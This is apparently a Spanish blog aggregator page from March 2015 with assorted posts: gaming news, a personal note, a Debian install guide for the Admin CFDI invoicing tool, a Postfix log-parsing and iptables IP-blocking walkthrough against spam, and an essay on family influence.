    Lunes 23 de marzo de 2015

    Ejercitate para jugar los clásicos de Atari

    La compañía Atari, aquella que dominaba el mercado comercial de los videojuegos en los 70 y 80’s ha creado una app para ejercicios.

    “Atari Fit” es el nombre de la aplicación que motiva al usuario a mantenerse saludable mediante el desbloqueo de juegos clásicos de Atari como “Pong”, “Super Breakout” y “Centipede”. Básicamente la aplicación te da 100 ejercicios y más de 30 planes de trabajo, entre más estés en forma más puntos ganaras, los cuales podrán ser usados para desbloquear estos juegos.

    Esta app es gratis para descargar y fue desarrollada por 8BitFit, que se especializa en esta clase de aplicaciones, el ejecutivo en jefe, Fred Chesnais dijo:

    Con Atari Fit, los jugadores alrededor del mundo, podrán ejercitarse y jugar así manteniendo una estrecha unión con estos dos pasatiempos

    atari1

    Y aunque parece ser que la app aún esta en desarrollo, basándome en experiencia personal y en la lectura de la retroalimentación, seria excelente que funcionara a la perfección lo más pronto posible.

    ¿Que piensan sobre esto? ¿Ejercitarse para jugar? ¡Escriban sus comentarios!

    Fuente: Gamespot

    Halo 5 usará servidores dedicados

    La compañía “343 Industries”, subsidiaria de Microsoft que es encargada de la saga Halo, ha confirmado que las partidas serán solamente a través de servidores dedicados, así eliminando que un jugador haga de host.

    Josh Holmes, productor ejecutivo del juego, respondiendo una pregunta ha dicho que las partidas que vayan por matchmaking, incluyendo las personalizadas, usarán un único servidor dedicado y no conexión entre jugadores, así la compañía quiere eliminar los problemas que han sucedido con esta clase de partidas, como la ventaja del host ante el lag siempre presente.

    El reciente recopilatorio, Halo: The Master Chief Collection combinaba servidores dedicados para el matchmaking, usando conexión directa entre jugadores para partidas personalizadas y campañas online.

    Y que aunque el Xbox One ha reducido dramáticamente la cantidad de retrasos durante el juego, esto parece indicar que podemos llegar a pensar que se eliminará del todo.

    ¿Que te parece? ¿Emocionado por esto?

    Fuente: Vandal

    Para ti.... mi pedacito de cielo

    Si.. el reclamo es valido... :) pero lo prometido es deuda, aun que se que lo sabes, no esta por demas plasmar aqui, en este lugar donde desde hace mucho tiempo he escrito anecdotas y cosas de mi vida... me alegra que tu seas parte de ella y es por ello que ahora eres una parte muy importante de mi historia y quiero que sepas que de todas las historias y vivencias descritos en este muy humilde blog, sin lugar a dudas, tu eres lo mejor que me ha pasado, te quiero y te amo mucho mucho... 

    Asi que ahora como eres parte de esto, tienes que aprender a linuxear :) y  le tienes que agarrar amor al cerro tambien..... jejeje es broma, Gracias, por todo lo bueno que le has traido a mi vida.

    Te mando un Caluroso y cariñoso Beso :*

    ( mmmmm vente paka )



    Sábado 21 de marzo de 2015

    ¿Que jugarás este fin de semana?

    Por fin es viernes de nuevo. El trabajo y/o la escuela quedo atrás y ya es tiempo de relajarse.

    En Celofans hemos tenido un montón de noticias durante esta semana, contenido vasto y variado para todos los gustos. Noticias agradables y otras no tan agradables.

    Pero en lo que todo eso pasa por nuestro sistema es hora de tomar el control y comenzar el fin de semana, así que de nuevo les hago esta pregunta.

    ¿Que jugaran el fin de semana?

    En vista de lo que acaba de acontecer con respecto a las Tortugas Ninja creo que jugare el clásico Turtles in Time para SNES. Le seguiré al Chrono Trigger que aún no acabo ese magnífico juego, y, si tengo algo de tiempo, unas retas de Mario Kart 8

    ¡Comenten que jugarán este fin de semana y déjenos sus ID’s para poder agregarlos en linea!

    Jueves 19 de marzo de 2015

    Héctor Bautista

    Héctor Bautista
    Soy un Jedi » Gnu/Linux

    Admin CFDI en Debian

    ¿Qué es Admin CFDI?

    Es una herramienta para descargar facturas CFDI desde el SAT (tanto emitidas como recibidas), de uno o más correos electrónicos, organizar, validar y reportar facturas CFDI desde directorios.

    Los creadores son de Factura Libre que vienen desarrollando esta poderosa herramienta desde hace ya un tiempo.

    Tomado de la página del proyecto:

    Esta herramienta te permite realizar las siguientes acciones:

    • Descargar facturas (CFDI) emitidas o recibidas directamente del SAT.
    • Descargar facturas (CFDI) recibidas de uno o más correos electrónicos.
    • Organizar las facturas (CFDI) en carpetas por emisor o receptor, año y mes.
    • Generar PDFs de facturas (CFDI) usando una plantilla ODS de Calc de LibreOffice
    • Generar un reporte de facturas (CFDI), así como validar los sellos y su estatus en el SAT

    El desarrollo y últimas versiones del proyecto se están llevando en Github.

    Requerimientos:

    • Python 3.4
    • Tk si usas Linux, si usas Windows ya lo integra Python
    • Firefox para la automatización de la descarga del SAT
    • Selenium para la automatización de la descarga del SAT
    • PyGubu para la interfaz gráfica.
    • ReportLab si usas una plantilla JSON (por implementar)
    • LibreOffice si usas la plantilla ODS
    • Extensiones win32 para Python si usas Windows

    Tanto en la página del proyecto como en el sitio del buen Linuxman, encontrarán información para la instalación de lo necesario para que funcione.

    En el caso particular de Debian, viene Python 2.7 por default, así que es necesario instalar los paquetes necesarios para que funcione.

    root@kenobi:/home/hbautista# aptitude install python3-tk python3-pip python3-uno

    Hay que tener instalado LibreOffice y Firefox además de los paquetes que se acaban de instalar. Una vez instaladas las dependencias, procedemos a instalar con pip, selenium y pygubu:

    root@kenobi:/home/hbautista# pip3 install selenium pygubu

    Tanto la instalación de paquetes con apt-get o aptitude, como los que se instalan con pip3, debe hacerse como root.

    Descargar versión más reciente de producción: AdminCFDI v0.2.2 (567).

    Como usuario normal, procedemos a ejecutar Admin CFDI en el directorio en dónde hayamos extraído el contenido de AdminCFDI:

    hbautista@kenobi:~/AdminCFDI_v0.2.2$ python3 admincfdi.py

    Admin CFDI 1Admin CFDI 2

    Y eso sería todo

    Agradecimientos a Factura Libre y a Linuxman por la ayuda prestada.

    Notas relacionadas:

    The post Admin CFDI en Debian appeared first on Soy un Jedi.

    Miércoles 18 de marzo de 2015

    Stoping spam with postfix

    Well Ihad some small troubles with spamers on postfix I found some commands to parse logs and get the user.
    Sometimes the user password was compromised, we need search the users what is sending spam like:

    zgrep 'sasl_method'  /var/log/mail.log* | grep "postfix/smtpd" | awk '{print $9}' |  sort -n | uniq -c | sort -n | tail
    

    that return is

    4342 sasl_username=tania.perez@xxxx.com
    20980 sasl_username=veroa@xxxxx.com
    

    Wow i see that two users login alot of times with the mailserver. That users are sending spam!

    Lets check the ips was autheticating:

    zgrep $1  /var/log/mail.log* | grep "postfix/smtpd"| grep  -v reject | awk '{print $7}' |uniq -c | sort -n | tail
    
    127 client=unknown[180.249.13.35],
    127 client=unknown[5.34.35.160],
    127 client=unknown[95.46.242.232],
    128 client=ip-46-73-42-28.bb.netbynet.ru[46.73.42.28],
    131 client=host-static-89-35-202-29.moldtelecom.md[89.35.202.29],
    134 client=unknown[78.175.102.232],
    136 client=unknown[124.227.149.62],
    137 client=unknown[176.196.97.244],
    137 client=unknown[187.4.82.244],
    139 client=ip-552f.proline.net.ua[93.126.85.47],
    

    that ips are very strange, lets check the country from comes with whois or with geoiplookup

    geoiplookup 93.126.85.47
    GeoIP Country Edition: UA, Ukraine
    

    That ip is not from mexico lets ban with this script:

        #!/bin/bash
        IPT=/sbin/iptables
        SPAMLIST="spamlist"
        SPAMDROPMSG="SPAM LIST DROP"
        BADIPS=$(egrep -v -E "^#|^$" blocked.ips)
    
        # create a new iptables list
        $IPT -N $SPAMLIST
    
        for ipblock in $BADIPS
        do
        $IPT -A $SPAMLIST -s $ipblock -j LOG --log-prefix "$SPAMDROPMSG"
        $IPT -A $SPAMLIST -s $ipblock -j DROP
        done
    
        $IPT -I INPUT -j $SPAMLIST
        $IPT -I OUTPUT -j $SPAMLIST
        $IPT -I FORWARD -j $SPAMLIST
    

    Domingo 15 de marzo de 2015

    Itzcoalt Alvarez Moreno

    Itzcoalt Alvarez Moreno
    Itzcoalt (itz) Álvarez

    La familia y el desarrollo profesional de sus integrantes

    Sin duda alguna la familia juega un papel importante en el desarrollo personal y profesional de sus integrantes, en el núcleo familiar,los hijos no solo copian los patrones  de conducta de sus padres, si no que en base a las facilidades que estos otorgan, es posible tener un excelente desempeño o  un fracaso total.

    Los limites que muchas veces tenemos, nos han sido fijado por nuestra familia de manera directa o indirecta, y dependiendo de nuestro desarrollo, logramos la independencia en la toma de decisiones.

    Normalmente,  ante una disyuntiva importante, buscamos el consejo de nuestros padres, y normalmente valoramos fuertemente esta opinión.

    He conocido casos que pueden estar en los extremos, en donde personas ya entradas en sus 40tas, deben someter sus acciones y decisiones a la aprobación de sus padres, que normalmente ejercen una control total sobre su hogar y sobre todo lo que en el sucede, aun cuando sus hijos hayan salido del seno familiar, la influencia continua.

     

    Como padres, debemos ofrecer la seguridad necesaria para permitir que nuestros hijos tomen los riesgos (calculados) que ellos deseen, que sean responsables de sus acciones y sobre todo, que comprendan que estamos para apoyarlos, no para resolverles la vida.

    Debemos ofrecerles una plataforma que les permita un desempeño libre de vicios y de temores fundados normalmente por nuestros propios temores, finalmente, ellos deben vivir su propia vida y tener su propio futuro.

    Siempre debemos pensar, si los controles, o si la falta de estos pueden provocar algo no esperado en el desarrollo de nuestros hijos.

     

    Cada caso es diferente, y debe ser evaluado de manera independiente, y nosotros debemos tener la mente abierta para identificar o aceptar cuando estamos entrando en excesos,